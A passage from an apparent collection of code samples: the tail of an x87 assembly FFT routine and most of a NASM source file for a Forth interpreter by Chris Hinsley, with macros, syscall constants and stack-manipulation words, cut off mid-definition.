[sp(%$fz)]\n\tadd\tr0, r5\t\t;r0 = fi\n\tadd\tr1, r3\n\tsub\tr1, r5\t\t;r1 = gi\n\n.do3:\n\tfld\tdword [sp(%$s2)]\n\tfmul\tdword [r0+r3]\n\tfld\tdword [sp(%$c2)]\n\tfmul\tdword [r1+r3]\n\n\tfld\tdword [sp(%$c2)]\n\tfmul\tdword [r0+r3]\n\tfld\tdword [sp(%$s2)]\n\tfmul\tdword [r1+r3]\n\tfxch\tst2\n\tfsubp\tst3, st0\t\t;b = s2*fi[k1] - c2*gi[k1]\n\tfaddp\tst1, st0\t\t;a = c2*fi[k1] + s2*gi[k1]  b\n\n\tfld\tdword [r1]\n\tfsub\tst0, st2\t\t;g1 a b\n\tfxch\tst2\n\tfadd\tdword [r1]\t\t;g0 a g1\n\n\tfld\tdword [r0]\n\tfsub\tst0, st2\t\t;f1 g0 a g1\n\tfxch\tst2\n\tfadd\tdword [r0]\t\t;f0 g0 f1 g1\n\n\tfxch\tst3\n\tfstp\tdword [sp(%$g1)]\n\tfstp\tdword [sp(%$g0)]\n\tfstp\tdword [sp(%$f1)]\n\tfstp\tdword [sp(%$f0)]\n\n\n\tfld\tdword [sp(%$s2)]\n\tfmul\tdword [r0+r2]\n\tfld\tdword [sp(%$c2)]\n\tfmul\tdword [r1+r2]\n\n\tfld\tdword [sp(%$c2)]\n\tfmul\tdword [r0+r2]\n\tfld\tdword [sp(%$s2)]\n\tfmul\tdword [r1+r2]\n\tfxch\tst2\n\tfsubp\tst3, st0\t\t;b = s2*fi[k3] - c2*gi[k3]\n\tfaddp\tst1, st0\t\t;a = c2*fi[k3] + s2*gi[k3]  b\n\n\n\tfld\tdword [r1+r3*2]\n\tfsub\tst0, st2\t\t;g3 a b\n\tfxch\tst2\n\tfadd\tdword [r1+r3*2]\t;g2 a g3\n\n\tfld\tdword [r0+r3*2]\n\tfsub\tst0, st2\t\t;f3 g2 a g3\n\tfxch\tst2\n\tfadd\tdword [r0+r3*2]\t;f2 g2 f3 g3\n\n\tfxch\tst3\n\tfstp\tdword [sp(%$g3)]\n\tfstp\tdword [sp(%$g2)]\n\tfstp\tdword [sp(%$f3)]\n\tfstp\tdword [sp(%$f2)]\n\n\n\tfld\tdword [sp(%$s1)]\n\tfmul\tdword [sp(%$f2)]\n\tfld\tdword [sp(%$c1)]\n\tfmul\tdword [sp(%$g3)]\n\t\n\tfld\tdword [sp(%$c1)]\n\tfmul\tdword [sp(%$f2)]\n\tfld\tdword [sp(%$s1)]\n\tfmul\tdword [sp(%$g3)]\n\tfxch\tst2\n\tfsubp\tst3, st0\t\t;b = s1*f2 - c1*g3\n\tfaddp\tst1, st0\t\t;a = c1*f2 + s1*g3  b\n\n\tfld\tdword [sp(%$g1)]\n\tfsub\tst0, st2\t\t;gi[k3] a b\n\tfxch\tst2\n\tfadd\tdword [sp(%$g1)]\t;gi[k1] a gi[k3]\n\n\tfld\tdword [sp(%$f0)]\n\tfsub\tst0, st2\t\t;fi[k2] gi[k1] a gi[k3]\n\tfxch\tst2\n\tfadd\tdword [sp(%$f0)]\t;fi[0] gi[k1] fi[k2] gi[k3]\n\n\tfxch\tst3\n\tfstp\tdword [r1+r2]\n\tfstp\tdword [r1+r3]\n\tfstp\tdword [r0+r3*2]\n\tfstp\tdword [r0]\n\n\n\tfld\tdword [sp(%$c1)]\n\tfmul\tdword [sp(%$g2)]\n\tfld\tdword [sp(%$s1)]\n\tfmul\tdword [sp(%$f3)]\n\t\n\tfld\tdword [sp(%$s1)]\n\tfmul\tdword [sp(%$g2)]\n\tfld\tdword [sp(%$c1)]\n\tfmul\tdword [sp(%$f3)]\n\tfxch\tst2\n\tfsubp\tst3, st0\t\t;b = c1*g2 - s1*f3\n\tfaddp\tst1, st0\t\t;a = s1*g2 + c1*f3  b\n\n\tfld\tdword [sp(%$f1)]\n\tfsub\tst0, st2\t\t;fi[k3] a b\n\tfxch\tst2\n\tfadd\tdword [sp(%$f1)]\t;fi[k1] a fi[k3]\n\n\tfld\tdword [sp(%$g0)]\n\tfsub\tst0, st2\t\t;gi[k2] fi[k1] a fi[k3]\n\tfxch\tst2\n\tfadd\tdword [sp(%$g0)]\t;gi[0] fi[k1] gi[k2] fi[k3]\n\n\tfxch\tst3\n\tfstp\tdword [r0+r2]\n\tfstp\tdword [r0+r3]\n\tfstp\tdword [r1+r3*2]\n\tfstp\tdword [r1]\n\n\n\tlea\tr0, [r0+r3*4]\n\tlea\tr1, [r1+r3*4]\n\tcmp\tr0, r6\n\tjb near\t.do3\n\n\tadd\tr5, 4\n\tcmp\tr5, r4\n\tjb near\t.for\n\n\tcmp\tr3, [sp(%$n)]\n\tjae\t.exit\n\n\tadd\tdword [sp(%$k)], 2\t;k  += 2;\n\tlea\tr3, [r3*4]\t\t;k1 *= 4\n\tlea\tr2, [r2*4]\t\t;k3 *= 4\n\tlea\tr4, [r4*4]\t\t;kx *= 4\n\tmov\tr0, [sp(%$fz)]\t;fi\n\tlea\tr1, [r0+r4]\t\t;gi = fi + kx\n\tjmp\t.do\n\n.exit:\n\tpopd\tebp, ebx, esi, edi\nendproc\n\n\tend\n"
  },
  {
    "path": "samples/Assembly/forth.nasm",
    "content": ";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; A Forth by Chris Hinsley\n;; nasm -f macho forth.nasm\n;; ld -o forth -e _main forth.o\n;; ./forth\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\t%define VERSION_NUM 30\n\n\t; various buffer area sizes\n\t%define DATA_STACK_SIZE 1024\n\t%define USER_DEFS_SIZE (64*1024)\n\t%define NUM_HASH_CHAINS 64\n\t%define MAX_LINE_SIZE 128\n\n\t%define SYS_exit 1\n\t%define SYS_read 3\n\t%define SYS_write 4\n\t%define SYS_open 5\n\t%define SYS_close 6\n\t%define SYS_unlink 10\n\t%define\tSYS_mprotect 74\n\t%define SYS_fsync 95\n\t%define SYS_rename 128\n\t%define SYS_stat 188\n\t%define SYS_lseek 199\n\t%define SYS_fstat 189\n\t%define SYS_ftruncate 201\n\n\t%define PROT_READ 0x01\t\t;pages can be read\n\t%define PROT_WRITE 0x02\t\t;pages can be written\n\t%define PROT_EXEC 0x04\t\t;pages can be executed\n\t%define PROT_ALL (PROT_READ | PROT_WRITE | PROT_EXEC)\n\t%define PAGE_SIZE 4096\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;\n; some NASM codeing macros\n;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\t%macro loopstart 0\n\t\t%push loopstart\n\t%$loop_start:\n\t%endmacro\n\n\t%macro break 0\n\t\tjmp %$loop_exit\n\t%endmacro\n\n\t%macro breakif 1\n\t\tj%+1 %$loop_exit\n\t%endmacro\n\n\t%macro loopend 0\n\t\tjmp %$loop_start\n\t%$loop_exit:\n\t\t%pop\n\t%endmacro\n\n\t%macro repeat 0\n\t\t%push repeat\n\t%$loop_start:\n\t%endmacro\n\n\t%macro until 1\n\t\tj%-1 %$loop_start\n\t%$loop_exit:\n\t\t%pop\n\t%endmacro\n\n\t%macro if 1\n\t\t%push if\n\t\tj%-1 %$ifnot\n\t%endmacro\n\n\t%macro else 0\n\t\t%ifctx if\n\t\t\t%repl else\n\t\t\tjmp %$ifend\n\t\t%$ifnot:\n\t\t%else\n\t\t\t%error \"expected `if' before `else'\"\n\t\t%endif\n\t%endmacro\n\n\t%macro endif 0\n\t\t%ifctx if\n\t\t%$ifnot:\n\t\t\t%pop\n\t\t%elifctx else\n\t\t%$ifend:\n\t\t\t%pop\n\t\t%else\n\t\t\t%error \"expected `if' or `else' before `endif'\"\n\t\t%endif\n\t%endmacro\n\n;;;;;;;;;;;;;;;;\n; base VM macros\n;;;;;;;;;;;;;;;;\n\n\t; eip\tForths IP\n\t; esp\tForths R\n\t; ebp\tForths S\n\t; ebx\tForths TOS\n\n\t; push on to return stack\n\t%macro PUSHRSP 1\n\t\tpush %1\n\t%endm\n\n\t; pop top of return stack\n\t%macro POPRSP 1\n\t\tpop %1\n\t%endm\n\n\t; save into return stack\n\t%macro PUTRSP 2\n\t\t%if (%2 = 0)\n\t\t\tmov [esp], %1\n\t\t%elif ((%2 >= -128) && (%2 < 128))\n\t\t\tmov [byte esp + %2], %1\n\t\t%else\n\t\t\tmov [long esp + %2], %1\n\t\t%endif\n\t%endm\n\n\t; load from return stack\n\t%macro PICKRSP 2\n\t\t%if (%2 = 0)\n\t\t\tmov %1, [esp]\n\t\t%elif ((%2 >= -128) && (%2 < 128))\n\t\t\tmov %1, [byte esp + %2]\n\t\t%else\n\t\t\tmov %1, [long esp + %2]\n\t\t%endif\n\t%endm\n\n\t; set return stack\n\t%macro SETRSP 1\n\t\tmov esp, %1\n\t%endm\n\n\t; get return stack\n\t%macro GETRSP 1\n\t\tmov %1, esp\n\t%endm\n\n\t; adjust return stack\n\t%macro ADDRSP 1\n\t\t%if ((%1 >= -128) && (%1 < 128))\n\t\t\tadd esp, byte %1\n\t\t%else\n\t\t\tadd esp, %1\n\t\t%endif\n\t%endm\n\n\t; push on to data stack\n\t%macro PUSHDSP 1\n\t\tsub ebp, byte 4\n\t\tmov [ebp], %1\n\t%endm\n\n\t; pop top of data stack\n\t%macro POPDSP 1\n\t\tmov %1, [ebp]\n\t\tadd ebp, byte 4\n\t%endm\n\n\t; save into data stack\n\t%macro PUTDSP 2\n\t\t%if (%2 = 0)\n\t\t\tmov [ebp], %1\n\t\t%elif ((%2 >= -128) && (%2 < 128))\n\t\t\tmov [byte ebp + %2], %1\n\t\t%else\n\t\t\tmov [long ebp + %2], %1\n\t\t%endif\n\t%endm\n\n\t; load from data stack\n\t%macro PICKDSP 2\n\t\t%if (%2 = 0)\n\t\t\tmov %1, [ebp]\n\t\t%elif ((%2 >= -128) && (%2 < 128))\n\t\t\tmov %1, [byte ebp + %2]\n\t\t%else\n\t\t\tmov %1, [long ebp + %2]\n\t\t%endif\n\t%endm\n\n\t; set data stack\n\t%macro SETDSP 1\n\t\tmov ebp, %1\n\t%endm\n\n\t; get data stack\n\t%macro GETDSP 1\n\t\tmov %1, ebp\n\t%endm\n\n\t; adjust data stack\n\t%macro ADDDSP 1\n\t\t%if ((%1 >= -128) && (%1 < 128))\n\t\t\tadd ebp, byte %1\n\t\t%else\n\t\t\tadd ebp, %1\n\t\t%endif\n\t%endm\n\n\t; load value onto data stack\n\t%macro LOADTOS 1\n\t\tPUSHDSP ebx\n\t\tmov ebx, %1\n\t%endm\n\n\t; move from data to return stack\n\t%macro TORSP 0\n\t\tPUSHRSP ebx\n\t\tPOPDSP ebx\n\t%endm\n\n\t; move from return to data stack\n\t%macro FROMRSP 0\n\t\tPUSHDSP ebx\n\t\tPOPRSP ebx\n\t%endm\n\n\t; copy from return to data stack\n\t%macro FETCHRSP 0\n\t\tPUSHDSP ebx\n\t\tPICKRSP ebx, 0\n\t%endm\n\n\t; align reg\n\t%define DP_ALIGN 3\n\t%macro ALIGNREG 1\n\t\tadd %1, byte DP_ALIGN\n\t\tand %1, byte ~DP_ALIGN\n\t%endm\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; dictionary building macros\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\t; format of dictionary entry flag byte\n\t%define F_IMMED 0x80\n\t%define F_HIDDEN 0x20\n\t%define F_LENMASK 0x1f\n\n\t%define NULL 0\n\t%define H_LLINK 0\n\t%define H_HLINK 4\n\t%define H_NSIZE 8\n\t%define H_NAME 9\n\n\t%define XT_BODY -12\n\t%define XT_LENGTH -8\n\t%define XT_COMPILE -4\n\t%define XT_SIZE 12\n\t\n\t%macro defword 4\n\t\t%push newword\n\t\t%strlen len %1\n\t\talign 4\n\tdic_%3:\n\t\tdd NULL\t\t\t\t; LATEST list link\n\t\tdd NULL\t\t\t\t; hash chain link\n\t\tdb len + %2\t\t\t; flags + length byte\n\t\tdb %1\t\t\t\t; the name\n\t\tdd %3\t\t\t\t; body pointer\n\t\tdd %$code_end - %3\t; code length\n\t\tdd %4\t\t\t\t; compile action word\n\t%3:\n\t%endm\t\t\t\t\t; assembler code follows\n\n\t%macro defword_end 0\n\t%$code_end:\n\t\t%pop\n\t%endm\n\n\t%macro defvar 4\n\t\tdefword %1, %2, %3, WORD_INLINE_COMMA\n\t\tLOADTOS var_%3\n\t\tret\n\t\tdefword_end\n\t\talign 4\n\tvar_%3:\n\t\tdd %4\n\t%endm\n\n\t%macro defvar2 5\n\t\tdefword %1, %2, %3, WORD_INLINE_COMMA\n\t\tLOADTOS var_%3\n\t\tret\n\t\tdefword_end\n\t\talign 4\n\tvar_%3:\n\t\tdd %4\n\t\tdd %5\n\t%endm\n\n\t%macro defconst 4\n\t\tdefword %1, %2, %3, WORD_INLINE_COMMA\n\t\tLOADTOS %4\n\t\tret\n\t\tdefword_end\n\t%endm\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;\n; entry point\n;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\tSECTION .text\n\tglobal _main\n_main:\n\t; use mprotect to allow read/write/execute of the data section\n\tmov edx, forth_start\n\tand edx, -PAGE_SIZE\t\t;start address\n\tmov ecx, forth_end\n\tsub ecx, edx\t\t\t;length\n\tmov ebx, PROT_ALL\t\t;flags\n\tpush ebx\n\tpush ecx\n\tpush edx\n\tpush 0\t\t\t\t\t;padding\n\tmov eax, SYS_mprotect\n\tint 0x80\n\tadd esp, 16\n\tjmp forth_start\n\n\tSECTION .data\nforth_start:\n\t; init data and return stacks, saving initial positions\n\t; in Forth vars R0 and S0\n\tcld\n\tGETRSP [var_WORD_SZ]\n\tSETDSP [var_WORD_SZ]\n\tADDRSP -DATA_STACK_SIZE\n\tGETRSP [var_WORD_RZ]\n\n\t; link built in dictionary\n\tmov esi, dictionary_start\n\txor edi, edi\n\trepeat\n\t\tlodsd\n\t\tmov [eax + H_LLINK], edi\n\t\tmov edi, eax\n\t\tpush esi\n\t\tmov cl, [eax + H_NSIZE]\n\t\tand ecx, F_LENMASK\n\t\tlea esi, [eax + H_NAME]\n\t\tcall strhashi\n\t\tand ebx, NUM_HASH_CHAINS-1\n\t\tmov esi, hash_buckets\n\t\tmov eax, [esi + (ebx * 4)]\n\t\tmov [esi + (ebx * 4)], edi\n\t\tmov [edi + H_HLINK], eax\n\t\tpop esi\n\t\tcmp esi, dictionary_end\n\tuntil z\n\tmov [var_WORD_LATEST], edi\n\n\t; run temp interpreter loop till we can get into the real QUIT word\n\tcall WORD_LBRAC\t\t\t; interpret state\n\tLOADTOS 666q\t\t\t; octal !\n\tTORSP\n\tLOADTOS 0\n\tTORSP\n\tLOADTOS bootfile\n\tTORSP\n\tcall WORD_SYS_OPEN\n\tcall WORD_SYSCALL\n\tADDRSP 12\n\tTORSP\t\t\t\t\t; ( fd ) of \"forth.f\"\n\tloopstart\n\t\tLOADTOS tib_buffer\n\t\tLOADTOS MAX_LINE_SIZE\n\t\tFETCHRSP\t\t\t; ( c-addr len fd )\n\t\tcall WORD_READLINE\t; ( num flag flag )\n\t\tcall WORD_DROP2\n\t\tLOADTOS tib_buffer\n\t\tcall WORD_SWAP\n\t\tcall WORD_INHASH\n\t\tcall WORD_STORE2\n\t\tLOADTOS 0\n\t\tcall WORD_TOIN\n\t\tcall WORD_STORE\n\t\tcall WORD_INTERPRET\n\tloopend\t\t\t\t\t; and loop till QUIT takes over\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; a few case insensative string operations\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\t%macro to_lower 1\n\t\t; lower case check\n\t\tcmp %1, 'A'\n\t\tif ge\n\t\t\tcmp %1, 'Z'\n\t\t\tif le\n\t\t\t\t; make it lower case\n\t\t\t\tadd %1, byte 'a' - 'A'\n\t\t\tendif\n\t\tendif\n\t%endm\n\nstrcpyi:\n\ttest ecx, ecx\n\tif nz\n\tstrcpyi_l1:\n\t\tlodsb\n\t\tto_lower al\n\t\tstosb\n\t\tloop strcpyi_l1\n\tendif\n\tret\n\nstrcmpi:\n\ttest ecx, ecx\n\tif nz\n\tstrcmpi_l1:\n\t\tlodsb\n\t\tmov bl, [edi]\n\t\tlea edi, [edi + 1]\n\t\tto_lower al\n\t\tto_lower bl\n\t\tcmp bl, al\n\t\tif z\n\t\t\tloop strcmpi_l1\n\t\tendif\n\tendif\n\tret\n\n;;;;;;;;;;;;;;;\n; hash function\n;;;;;;;;;;;;;;;\n\nstrhashi:\n\tmov ebx, 5381\n\ttest ecx, ecx\n\tif nz\n\t\tmov edx, 33\n\tstrhashi_l1:\n\t\tlodsb\n\t\tmovzx eax, al\n\t\tto_lower eax\n\t\timul ebx, edx\n\t\tadd ebx, eax\n\t\tloop strhashi_l1\n\tendif\n\tret\n\n;;;;;;;;;;;;;;;;;;;\n; syscall functions\n;;;;;;;;;;;;;;;;;;;\n\n_syscall:\n\tint 0x80\n\tif c\n\t\tneg eax\n\tendif\n\tret\n\n_lsyscall:\n\tint 0x80\n\tif c\n\t\tnot eax\n\t\tnot edx\n\t\tadd eax, 1\n\t\tadc edx, 0\n\tendif\n\tret\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; built in variables\n; STATE\t\tIs the interpreter executing code (0) or compiling a word (non-zero)?\n; LATEST\tPoints to the latest (most recently defined) word in the dictionary.\n; DP\t\tPoints to the next free byte of memory. When compiling, compiled words go here.\n; S0\t\tStores the address of the top of the parameter stack.\n; R0\t\tThe address of the top of the return stack.\n; BASE\t\tThe current base for printing and reading numbers.\n; #IN\t\tThe current input buffer descriptor.\n; >IN\t\tThe current input offset.\n; SOURCEFD\tThe current input source file descriptor.\n; BLK\t\tThe current block number.\n; CHARBUF\tSingle char buffer.\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefvar \"state\", 0, WORD_STATE, 0\n\tdefvar \"dp\", 0, WORD_DP, dictionary_start\n\tdefvar \"latest\", 0, WORD_LATEST, 0\n\tdefvar \"s0\", 0, WORD_SZ, 0\n\tdefvar \"r0\", 0, WORD_RZ, 0\n\tdefvar \"base\", 0, WORD_BASE, 10\n\tdefvar2 \"#IN\", 0, WORD_INHASH, 0, 0\n\tdefvar \">in\", 0, WORD_TOIN, 0\n\tdefvar \"sourcefd\", 0, WORD_SOURCEFD, 0\n\tdefvar \"blk\", 0, WORD_BLK, 0\n\tdefvar \"charbuf\", 0, WORD_CHARBUF, 0\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; built in constants\n; VERSION\t\tThe current version of this FORTH.\n; WORDBUF\t\tThe address of the buffer WORD uses.\n; LINESIZE\t\tThe line buffer size.\n; F_IMMED\t\tThe IMMEDIATE flag's actual value.\n; F_HIDDEN\t\tThe HIDDEN flag's actual value.\n; F_LENMASK\t\tThe length mask in the flags/len byte.\n; H_NSIZE\t\tThe flags/len field offset.\n; H_NAME\t\tThe name field offset.\n; XT_BODY\t\tThe xt body pointer.\n; XT_LENGTH\t\tThe xt length field offset.\n; XT_COMPILE\tThe xt compile field offset.\n; XT_SIZE\t\tThe xt size offset.\n; SYS_*\t\t\tThe numeric codes of various syscalls.\n; O_*\t\t\tVarious sycall flags/modes.\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefconst \"version\", 0, WORD_VERSION, VERSION_NUM\n\tdefconst \"wordbuf\", 0, WORD_WORDBUF, word_buf\n\tdefconst \"linesize\", 0, WORD_LINESIZE, MAX_LINE_SIZE\n\tdefconst \"f_immed\", 0, WORD__F_IMMED, F_IMMED\n\tdefconst \"f_hidden\", 0, WORD__F_HIDDEN, F_HIDDEN\n\tdefconst \"f_lenmask\", 0, WORD__F_LENMASK, F_LENMASK\n\tdefconst \"h_nsize\", 0, WORD__H_NSIZE, H_NSIZE\n\tdefconst \"h_name\", 0, WORD__H_NAME, H_NAME\n\tdefconst \"xt_body\", 0, WORD__XT_BODY, XT_BODY\n\tdefconst \"xt_length\", 0, WORD__XT_LENGTH, XT_LENGTH\n\tdefconst \"xt_compile\", 0, WORD__XT_COMPILE, XT_COMPILE\n\tdefconst \"xt_size\", 0, WORD__XT_SIZE, XT_SIZE\n\n\tdefconst \"sys_exit\", 0, WORD_SYS_EXIT, SYS_exit\n\tdefconst \"sys_open\", 0, WORD_SYS_OPEN, SYS_open\n\tdefconst \"sys_close\", 0, WORD_SYS_CLOSE, SYS_close\n\tdefconst \"sys_read\", 0, WORD_SYS_READ, SYS_read\n\tdefconst \"sys_write\", 0, WORD_SYS_WRITE, SYS_write\n\tdefconst \"sys_unlink\", 0, WORD_SYS_UNLINK, SYS_unlink\n\tdefconst \"sys_rename\", 0, WORD_SYS_RENAME, SYS_rename\n\tdefconst \"sys_ftruncate\", 0, WORD_SYS_FTRUNCATE, SYS_ftruncate\n\tdefconst \"sys_fsync\", 0, WORD_SYS_FSYNC, SYS_fsync\n\tdefconst \"sys_lseek\", 0, WORD_SYS_LSEEK, SYS_lseek\n\tdefconst \"sys_fstat\", 0, WORD_SYS_FSTAT, SYS_fstat\n\tdefconst \"sys_stat\", 0, WORD_SYS_STAT, SYS_stat\n\n\tdefconst \"o_rdonly\", 0, WORD_O_RDONLY, 0x0\n\tdefconst \"o_wronly\", 0, WORD_O_WRONLY, 0x1\n\tdefconst \"o_rdwr\", 0, WORD_O_RDWR, 0x2\n\tdefconst \"o_creat\", 0, WORD_O_CREAT, 0x100\n\tdefconst \"o_excl\", 0, WORD_O_EXCL, 0x200\n\tdefconst \"o_trunc\", 0, WORD_O_TRUNC, 0x1000\n\tdefconst \"o_append\", 0, WORD_O_APPEND, 0x2000\n\tdefconst \"o_nonblock\", 0, WORD_O_NONBLOCK, 0x4000\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; data stack ordering words\n;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"dsp@\", 0, WORD_DSPFETCH, WORD_INLINE_COMMA\n\tPUSHDSP ebx\n\tGETDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"dsp!\", 0, WORD_DSPSTORE, WORD_INLINE_COMMA\n\tSETDSP ebx\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"drop\", 0, WORD_DROP, WORD_INLINE_COMMA\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"swap\", 0, WORD_SWAP, WORD_INLINE_COMMA\n\txchg ebx, [ebp]\n\tret\n\tdefword_end\n\n\tdefword \"dup\", 0, WORD_DUP, WORD_INLINE_COMMA\n\tPUSHDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"over\", 0, WORD_OVER, WORD_INLINE_COMMA\n\tPUSHDSP ebx\n\tPICKDSP ebx, 4\n\tret\n\tdefword_end\n\n\tdefword \"rot\", 0, WORD_ROT, WORD_INLINE_COMMA\n\tmov eax, ebx\n\tPICKDSP ecx, 0\n\tPICKDSP ebx, 4\n\tPUTDSP eax, 0\n\tPUTDSP ecx, 4\n\tret\n\tdefword_end\n\n\tdefword \"-rot\", 0, WORD_NROT, WORD_INLINE_COMMA\n\tmov eax, ebx\n\tPICKDSP ebx, 0\n\tPICKDSP ecx, 4\n\tPUTDSP ecx, 0\n\tPUTDSP eax, 4\n\tret\n\tdefword_end\n\n\tdefword \"2drop\", 0, WORD_DROP2, WORD_INLINE_COMMA\n\tPICKDSP ebx, 4\n\tADDDSP 8\n\tret\n\tdefword_end\n\n\tdefword \"2dup\", 0, WORD_DUP2, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tADDDSP -8\n\tPUTDSP eax, 0\n\tPUTDSP ebx, 4\n\tret\n\tdefword_end\n\n\tdefword \"2swap\", 0, WORD_SWAP2, WORD_INLINE_COMMA\n\tmov eax, ebx\n\tPICKDSP ecx, 0\n\tPICKDSP ebx, 4\n\tPICKDSP edx, 8\n\tPUTDSP edx, 0\n\tPUTDSP eax, 4\n\tPUTDSP ecx, 8\n\tret\n\tdefword_end\n\n\tdefword \"2rot\", 0, WORD_ROT2, WORD_INLINE_COMMA\n\tmov eax, ebx\n\tPICKDSP ecx, 16\n\tPICKDSP ebx, 12\n\tPICKDSP edx, 8\n\tPICKDSP edi, 4\n\tPICKDSP esi, 0\n\tPUTDSP edx, 16\n\tPUTDSP edi, 12\n\tPUTDSP esi, 8\n\tPUTDSP eax, 4\n\tPUTDSP ecx, 0\n\tret\n\tdefword_end\n\n\tdefword \"?dup\", 0, WORD_QDUP, WORD_INLINE_COMMA\n\ttest ebx, ebx\n\tif nz\n\t\tPUSHDSP ebx\n\tendif\n\tret\n\tdefword_end\n\n\tdefword \"!?dup\", 0, WORD_NQDUP, WORD_INLINE_COMMA\n\ttest ebx, ebx\n\tif z\n\t\tPUSHDSP ebx\n\tendif\n\tret\n\tdefword_end\n\n\tdefword \"nip\", 0, WORD_NIP, WORD_INLINE_COMMA\n\tADDDSP 4\n\tret\n\tdefword_end\n\n\tdefword \"tuck\", 0, WORD_TUCK, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tPUTDSP ebx, 0\n\tPUSHDSP eax\n\tret\n\tdefword_end\n\n\tdefword \"pick\", 0, WORD_PICK, WORD_INLINE_COMMA\n\tmov ebx, [ebp + (ebx * 4)]\n\tret\n\tdefword_end\n\n\tdefword \"2tuck\", 0, WORD_TUCK2, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tPICKDSP ecx, 4\n\tPICKDSP edx, 8\n\tADDDSP -8\n\tPUTDSP eax, 0\n\tPUTDSP ecx, 4\n\tPUTDSP edx, 8\n\tPUTDSP ebx, 12\n\tPUTDSP eax, 16\n\tret\n\tdefword_end\n\n\tdefword \"2nip\", 0, WORD_NIP2, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tADDDSP 8\n\tPUTDSP eax, 0\n\tret\n\tdefword_end\n\n\tdefword \"2over\", 0, WORD_OVER2, WORD_INLINE_COMMA\n\tADDDSP -8\n\tPUTDSP ebx, 4\n\tPICKDSP ebx, 16\n\tPUTDSP ebx, 0\n\tPICKDSP ebx, 12\n\tret\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; return stack ordering words\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \">r\", 0, WORD_TOR, WORD_INLINE_COMMA\n\tTORSP\n\tret\n\tdefword_end\n\n\tdefword \"r>\", 0, WORD_FROMR, WORD_INLINE_COMMA\n\tFROMRSP\n\tret\n\tdefword_end\n\n\tdefword \"2>r\", 0, WORD_TOR2, WORD_INLINE_COMMA\n\tADDRSP -8\n\tPICKDSP ecx, 0\n\tPUTRSP ebx, 0\n\tPUTRSP ecx, 4\n\tPICKDSP ebx, 4\n\tADDDSP 8\n\tret\n\tdefword_end\n\n\tdefword \"2r>\", 0, WORD_FROMR2, WORD_INLINE_COMMA\n\tADDDSP -8\n\tPUTDSP ebx, 4\n\tPICKRSP ebx, 0\n\tPICKRSP ecx, 4\n\tPUTDSP ecx, 0\n\tADDRSP 8\n\tret\n\tdefword_end\n\n\tdefword \"rsp@\", 0, WORD_RSPFETCH, WORD_INLINE_COMMA\n\tPUSHDSP ebx\n\tGETRSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"r@\", 0, WORD_RFETCH, WORD_INLINE_COMMA\n\tPUSHDSP ebx\n\tPICKRSP ebx, 0\n\tret\n\tdefword_end\n\n\tdefword \"r!\", 0, WORD_RSTORE, WORD_INLINE_COMMA\n\tPUTRSP ebx, 0\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"2r@\", 0, WORD_RFETCH2, WORD_INLINE_COMMA\n\tADDDSP -8\n\tPUTDSP ebx, 4\n\tPICKRSP ebx, 4\n\tPICKRSP ecx, 0\n\tPUTDSP ecx, 0\n\tret\n\tdefword_end\n\n\tdefword \"rsp!\", 0, WORD_RSPSTORE, WORD_INLINE_COMMA\n\tSETRSP ebx\n\tPOPDSP ebx\n\tret\n\tdefword_end\n\n\tdefword \"rdrop\", 0, WORD_RDROP, WORD_INLINE_COMMA\n\tADDRSP 4\n\tret\n\tdefword_end\n\n\tdefword \"2rdrop\", 0, WORD_RDROP2, WORD_INLINE_COMMA\n\tADDRSP 8\n\tret\n\tdefword_end\n\n\tdefword \"n>r\", 0, WORD_NTOR, WORD_CALL_COMMA\n\tPUSHDSP ebx\n\tPICKRSP eax, 0\n\tmov ecx, ebx\n\tinc ecx\n\tneg ebx\n\tlea esp, [esp + (ebx * 4)]\n\tmov esi, ebp\n\tmov edi, esp\n\trep movsd\n\tmov ebp, esi\n\tPOPDSP ebx\n\tjmp eax\n\tdefword_end\n\n\tdefword \"nr>\", 0, WORD_NFROMR, WORD_CALL_COMMA\n\tPUSHDSP ebx\n\tPOPRSP eax\n\tPICKRSP ebx, 0\n\tinc ebx\n\tmov ecx, ebx\n\tneg ebx\n\tlea ebp, [ebp + (ebx * 4)]\n\tmov esi, esp\n\tmov edi, ebp\n\trep movsd\n\tmov esp, esi\n\tPOPDSP ebx\n\tjmp eax\n\tdefword_end\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; memory fetch and store words\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\tdefword \"!\", 0, WORD_STORE, WORD_INLINE_COMMA\n\tPICKDSP eax, 0\n\tmov [ebx], eax\n\tPICKDSP ebx, 4\n\tADDDSP 